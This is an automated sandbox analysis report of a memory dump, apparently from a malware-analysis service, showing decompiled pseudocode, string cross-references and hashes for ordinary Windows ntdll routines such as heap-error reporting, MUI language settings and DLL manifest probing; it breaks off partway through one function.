<unknown>, xrefs: 046EB27E, 046EB2D1, 046EB350, 046EB399, 046EB417, 046EB48E
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 046EB484
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 046EB3D6
The critical section is owned by thread %p., xrefs: 046EB3B9
*** enter .exr %p for the exception record, xrefs: 046EB4F1
Go determine why that thread has not released the critical section., xrefs: 046EB3C5
a NULL pointer, xrefs: 046EB4E0
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 046EB314
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 046EB38F
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 046EB53F
read from, xrefs: 046EB4AD, 046EB4B2
*** enter .cxr %p for the context, xrefs: 046EB50D

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 76bb1f5c8feea81b29ca4b9ee65560239571fe88897f28ced286280fed3dec1f
Instruction ID: 67574efb0ec60bb3b52a1a06116d7772f4485f977f583e4f3c8c68308c9c8c9d
Opcode Fuzzy Hash: 76bb1f5c8feea81b29ca4b9ee65560239571fe88897f28ced286280fed3dec1f
Instruction Fuzzy Hash: 40810171A81620FFEB21AE06CC4ED7B3B66EF56B55F004058F5052B212F261B452DFBA

Uniqueness

Uniqueness Score: -1.00%

Function 046F1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E046F1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x46148a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0463B150();
				} else {
					E0463B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x472589c);
				E0463B150("Heap error detected at %p (heap handle %p)\n",  *0x47258a0);
				_t27 =  *0x4725898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M046F1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0463B150();
				} else {
					E0463B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E0463B150("Error code: %d - %s\n",  *0x4725898);
				_t113 =  *0x47258a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0463B150();
					} else {
						E0463B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0463B150("Parameter1: %p\n",  *0x47258a4);
				}
				_t115 =  *0x47258a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0463B150();
					} else {
						E0463B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0463B150("Parameter2: %p\n",  *0x47258a8);
				}
				_t117 =  *0x47258ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0463B150();
					} else {
						E0463B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0463B150("Parameter3: %p\n",  *0x47258ac);
				}
				_t119 =  *0x47258b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0463B150();
					} else {
						E0463B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x47258b4);
					E0463B150("Last known valid blocks: before - %p, after - %p\n",  *0x47258b0);
				} else {
					_t120 =  *0x47258b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0463B150();
				} else {
					E0463B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E0463B150("Stack trace available at %p\n", 0x47258c0);
			}

0x046f1c10
0x046f1c16
0x046f1c1e
0x046f1c3d
0x046f1c3e
0x046f1c20
0x046f1c35
0x046f1c3a
0x046f1c44
0x046f1c55
0x046f1c5a
0x046f1c65
0x046f1c67
0x00000000
0x046f1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x046f1c67
0x046f1cdc
0x046f1ce5
0x046f1d04
0x046f1d05
0x046f1ce7
0x046f1cfc
0x046f1d01
0x046f1d0b
0x046f1d17
0x046f1d1f
0x046f1d25
0x046f1d30
0x046f1d4f
0x046f1d50
0x046f1d32
0x046f1d47
0x046f1d4c
0x046f1d61
0x046f1d67
0x046f1d68
0x046f1d6e
0x046f1d79
0x046f1d98
0x046f1d99
0x046f1d7b
0x046f1d90
0x046f1d95
0x046f1daa
0x046f1db0
0x046f1db1
0x046f1db7
0x046f1dc2
0x046f1de1
0x046f1de2
0x046f1dc4
0x046f1dd9
0x046f1dde
0x046f1df3
0x046f1df9
0x046f1dfa
0x046f1e00
0x046f1e0a
0x046f1e13
0x046f1e32
0x046f1e33
0x046f1e15
0x046f1e2a
0x046f1e2f
0x046f1e39
0x046f1e4a
0x046f1e02
0x046f1e02
0x046f1e08
0x00000000
0x00000000
0x046f1e08
0x046f1e5b
0x046f1e7a
0x046f1e7b
0x046f1e5d
0x046f1e72
0x046f1e77
0x046f1e95

Strings

heap_failure_generic, xrefs: 046F1C7C
Last known valid blocks: before - %p, after - %p, xrefs: 046F1E45
HEAP[%wZ]: , xrefs: 046F1C30, 046F1CF7, 046F1D42, 046F1D8B, 046F1DD4, 046F1E25, 046F1E6D
heap_failure_internal, xrefs: 046F1C6E
heap_failure_block_not_busy, xrefs: 046F1CA6
heap_failure_multiple_entries_corruption, xrefs: 046F1C8A
Parameter1: %p, xrefs: 046F1D5C
heap_failure_invalid_argument, xrefs: 046F1CAD
Parameter3: %p, xrefs: 046F1DEE
Heap error detected at %p (heap handle %p), xrefs: 046F1C50
heap_failure_freelists_corruption, xrefs: 046F1CC9
Parameter2: %p, xrefs: 046F1DA5
heap_failure_buffer_overrun, xrefs: 046F1C98
heap_failure_listentry_corruption, xrefs: 046F1CD0
HEAP: , xrefs: 046F1C16, 046F1C3D, 046F1D04, 046F1D4F, 046F1D98, 046F1DE1, 046F1E32, 046F1E7A
heap_failure_invalid_allocation_type, xrefs: 046F1CB4
heap_failure_virtual_block_corruption, xrefs: 046F1C91
heap_failure_lfh_bitmap_mismatch, xrefs: 046F1CD7
heap_failure_entry_corruption, xrefs: 046F1C83
heap_failure_buffer_underrun, xrefs: 046F1C9F
Error code: %d - %s, xrefs: 046F1D12
Stack trace available at %p, xrefs: 046F1E86
heap_failure_usage_after_free, xrefs: 046F1CBB
heap_failure_unknown, xrefs: 046F1C75
heap_failure_cross_heap_operation, xrefs: 046F1CC2

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 23e88b72b8c38499c354e6ef026c7989a84aa5b65467fbf39097966d30131fde
Instruction ID: 46e41ab8d63665cbcb05c96a4177c4d96399e4926f5dfc2887cca0fc7ee8c363
Opcode Fuzzy Hash: 23e88b72b8c38499c354e6ef026c7989a84aa5b65467fbf39097966d30131fde
Instruction Fuzzy Hash: 09610536650594EFE2119B84DA88EB473A5EB05F71B09807FF6095B311F67ABC428F0E

Uniqueness

Uniqueness Score: -1.00%

Function 04643D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E04643D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E04641B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E04641B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E04641B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E04641B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E04641B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L04654620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E0467F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E04681370(_t276, 0x4614e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E0467BB40(0,  &_v68, _t170);
									if(L046443C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E0467BB40(_t257,  &_v68, _t243);
								if(L046443C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E04681370(_t278, 0x4614e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L04654620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E0467F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E04681370(_v16, 0x4614e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E0467BB40(_t262,  &_v68, _t244);
								if(L046443C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E04681370(_t282, 0x4614e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E0467BB40(_t262,  &_v68, _t201);
							if(L046443C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L04654620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E0467F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E04681370(_t280, 0x4614e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E0467BB40(_t267,  &_v68, _t245);
							if(L046443C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E04681370(_t284, 0x4614e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E0467BB40(_t267,  &_v68, _t224);
						if(L046443C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x04643d3c
0x04643d42
0x04643d44
0x04643d46
0x04643d49
0x04643d4c
0x04643d4f
0x04643d52
0x04643d55
0x04643d58
0x04643d5b
0x04643d5f
0x04643d61
0x04643d66
0x04698213
0x04698218
0x04644085
0x04644088
0x0464408e
0x04644094
0x0464409a
0x046440a0
0x046440a6
0x046440a9
0x046440af
0x046440b6
0x046440bd
0x046440bd
0x04643d83
0x0469821f
0x04698229
0x04698238
0x04698238
0x0469823d
0x0469823d
0x04643da0
0x04643daf
0x04643db5
0x04643dba
0x04643dba
0x04643dd4
0x04643e94
0x04643eab
0x04643f6d
0x04643f84
0x0464406b
0x0464406b
0x0464406e
0x0464406e
0x04644070
0x04644074
0x04698351
0x04698351
0x0464407a
0x0464407f
0x0469835d
0x04698370
0x04698377
0x04698379
0x0469837c
0x0469837c
0x0469835d
0x00000000
0x0464407f
0x04643f8a
0x04643f8d
0x04643f90
0x04643f95
0x0469830d
0x0469830f
0x04643f9b
0x04643fac
0x04643fae
0x04643fb1
0x04643fb1
0x04643fb6
0x04698317
0x0469831a
0x00000000
0x04643fbc
0x04643fc1
0x04643fc9
0x04643fd7
0x04643fda
0x04643fdd
0x04644021
0x04644021
0x04644029
0x04644030
0x04644044
0x04644046
0x04644046
0x04644044
0x04644049
0x04698327
0x04698334
0x04698339
0x0469833c
0x0464404f
0x0464404f
0x0464404f
0x04644051
0x04644056
0x04644063
0x04644063
0x04644068
0x00000000
0x04644068
0x04643fdf
0x04643fe2
0x04643fe4
0x04643fe7
0x04643fef
0x04644003
0x04644005
0x04644005
0x0464400c
0x04644013
0x04644016
0x04644017
0x0464401b
0x0464401e
0x00000000
0x0464401e
0x04643fb6
0x04643eb1
0x04643eb4
0x04643eb7
0x04643ebc
0x046982a9
0x046982ab
0x04643ec2
0x04643ed3
0x04643ed5
0x04643ed8
0x04643ed8
0x04643edd
0x046982b3
0x046982b6
0x00000000
0x04643ee3
0x04643ee8
0x04643eed
0x04643ef0
0x04643ef3
0x04643f02
0x04643f05
0x04643f08
0x046982c0
0x046982c3
0x046982c5
0x046982c8
0x046982d0
0x046982e4
0x046982e6
0x046982e6
0x046982ed
0x046982f4
0x046982f7
0x046982f8
0x046982fc
0x046982ff
0x046982ff
0x04643f0e
0x04643f11
0x04643f16
0x04643f1d
0x04643f31
0x04698307
0x04698307
0x04643f31
0x04643f39
0x04643f48
0x04643f4d
0x04643f50
0x04643f50
0x04643f53
0x04643f58
0x04643f65
0x04643f65
0x04643f6a
0x00000000
0x04643f6a
0x04643edd
0x04643dda
0x04643ddd
0x04643de0
0x04643de5
0x04698245
0x04643deb
0x04643df7
0x04643dfc
0x04643dfe
0x04643e01
0x04643e01
0x04643e06
0x0469824d
0x0469824f
0x04698254
0x00000000
0x04643e0c
0x04643e11
0x04643e16
0x04643e19
0x04643e29
0x04643e2c
0x04643e2f
0x0469825c
0x0469825f
0x04698261
0x04698264
0x0469826c
0x04698280
0x04698282
0x04698282
0x04698289
0x04698290
0x04698293
0x04698294
0x04698298
0x0469829b
0x0469829b
0x04643e35
0x04643e38
0x04643e3d
0x04643e44
0x04643e58
0x046982a3
0x046982a3
0x04643e58
0x04643e60
0x04643e6f
0x04643e74
0x04643e77
0x04643e77
0x04643e7a
0x04643e7f
0x04643e8c
0x04643e8c
0x04643e91
0x00000000
0x04643e91

Strings

Kernel-MUI-Language-SKU, xrefs: 04643F70
Kernel-MUI-Language-Disallowed, xrefs: 04643E97
Kernel-MUI-Language-Allowed, xrefs: 04643DC0
Kernel-MUI-Number-Allowed, xrefs: 04643D8C
WindowsExcludedProcs, xrefs: 04643D6F

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 63376db2c1a5499c50a3d66a3009771cfca49b5ff81c01f5d290edda7b8b3d80
Instruction ID: 1c1fd885d101b0f15a664c863e349a9ab3c905fd77114aa604c4c269df778e2f
Opcode Fuzzy Hash: 63376db2c1a5499c50a3d66a3009771cfca49b5ff81c01f5d290edda7b8b3d80
Instruction Fuzzy Hash: 9EF13E72D10619EBDF15DF94C980AEEBBB9EF49754F14006AE905A7310FB70AE41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04668E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E04668E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x472d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x4728464; // 0x74790110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x4725780 & 0x00000003) != 0) {
							E046B5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x4725780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E0467B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x4727984; // 0xa63e68
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x4728464; // 0x74790110
					 *0x472b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E04669B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x4725780 & 0x00000005) != 0) {
						_push(_t49);
						E046B5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x04668e0f
0x04668e16
0x04668e19
0x04668e1b
0x04668e21
0x04668e7f
0x04668e85
0x046a9354
0x046a936c
0x046a9371
0x046a937b
0x046a9381
0x046a9381
0x046a937b
0x04668e9d
0x04668e9d
0x04668e29
0x04668e2c
0x04668e38
0x04668e3e
0x04668e43
0x04668eb5
0x04668eb9
0x046a92aa
0x046a92af
0x046a92e8
0x046a92e8
0x046a92af
0x04668eb9
0x04668e45
0x04668e53
0x04668e5b
0x04668e5f
0x04668e78
0x04668e78
0x04668e7d
0x04668ec3
0x04668ecd
0x04668ed2
0x04668ed2
0x04668ec5
0x04668ec5
0x00000000
0x04668e7d
0x04668e67
0x04668ea4
0x046a931a
0x00000000
0x00000000
0x046a9320
0x04668ea4
0x04668e70
0x046a9325
0x046a9340
0x046a9345
0x046a9345
0x04668e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

LdrpFindDllActivationContext, xrefs: 046A9331, 046A935D
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 046A932A
Querying the active activation context failed with status 0x%08lx, xrefs: 046A9357
minkernel\ntdll\ldrsnap.c, xrefs: 046A933B, 046A9367

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: 976144725f02a4228faa813e11be4c11a2aa78dc7a51836c49d4886da8c48aa8
Instruction ID: 2b56c1e4149389107355009b2d8036de565310a8552017b98ba830ef5f3bc680
Opcode Fuzzy Hash: 976144725f02a4228faa813e11be4c11a2aa78dc7a51836c49d4886da8c48aa8
Instruction Fuzzy Hash: 8E411672A42311AFDB35BF38C84DA76B7B4EB50308F0A8569E90657261F775BC80C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 04648794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04648794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E0464934A() != 0) {
								_t159 = E046BA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
